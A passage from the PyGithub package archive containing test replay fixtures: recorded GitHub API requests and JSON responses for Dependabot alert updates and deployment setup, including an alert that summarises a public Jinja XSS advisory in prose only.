in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-22T02:33:02Z","dismissed_at":"2024-01-22T02:33:02Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DependabotAlert.testUpdateAlertOpen.txt0000644000175100001660000001041214756101563025705 0ustar00runnerdockerhttps PATCH api.github.com None /repos/coopernetes/PyGithub/dependabot/alerts/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"state": "open"} 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 22 Jan 2024 02:32:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5d0cb0a87cff35a86e7108995bab03effc9aeca537515adbd41e7bf3692f37c2"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1705893222'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A3B6:73AF:1A2FE7D:374C388:65ADD3BF')] {"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-22T02:32:31Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Deployment.setUp.txt0000644000175100001660000005372714756101563022154 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 11:59:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"aa8651cd24c21d4fed31dc334014013f"'), ('Last-Modified', 'Wed, 26 Aug 2020 11:34:26 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1598445598'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FDA4:B506:4620034:55CEFA2:5F464E9F')] {"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"name":"Pascal Hofmann","company":null,"blog":"http://pascalhofmann.de","location":null,"email":null,"hireable":true,"bio":null,"twitter_username":null,"public_repos":48,"public_gists":1,"followers":5,"following":5,"created_at":"2012-08-06T11:14:19Z","updated_at":"2020-08-26T11:34:26Z"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 11:59:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"15d9f8d31038dd3bc5a627e51a48f611"'), ('Last-Modified', 'Tue, 25 Aug 2020 19:59:15 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1598445598'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7CDB:5DBE:46C32F3:5668A06:5F464E9F')] {"id":290310912,"node_id":"MDEwOlJlcG9zaXRvcnkyOTAzMTA5MTI=","name":"PyGithub","full_name":"jacquev6/PyGithub","private":false,"owner":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","created_at":"2020-08-25T19:59:13Z","updated_at":"2020-08-25T19:59:15Z","pushed_at":"2020-08-21T23:55:30Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13025,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-08-26T01:46:21Z","pushed_at":"2020-08-21T23:55:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13025,"stargazers_count":3702,"watchers_count":3702,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1182,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":75,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1182,"open_issues":75,"watchers":3702,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-08-26T01:46:21Z","pushed_at":"2020-08-21T23:55:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13025,"stargazers_count":3702,"watchers_count":3702,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1182,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":75,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1182,"open_issues":75,"watchers":3702,"default_branch":"master"},"network_count":1182,"subscribers_count":0} https GET api.github.com None /repos/jacquev6/PyGithub/deployments/263877258 {'Accept': 'application/vnd.github.ant-man-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 11:59:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"ff9fb362ffa1d052a6e56eed6779fad3"'), ('Last-Modified', 'Wed, 26 Aug 2020 11:44:53 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1598445598'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FAE4:B35A:2F85BC:3B31FE:5F464E9F')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","id":263877258,"node_id":"MDEwOkRlcGxveW1lbnQyNjIzNTE3NzY=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{"test":true},"original_environment":"test","environment":"test","description":"Test deployment","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2020-08-26T11:44:53Z","updated_at":"2020-08-26T11:44:53Z","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","transient_environment":true,"production_environment":false,"performed_via_github_app":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DeploymentStatus.setUp.txt0000644000175100001660000006221414756101563023347 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 15:21:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 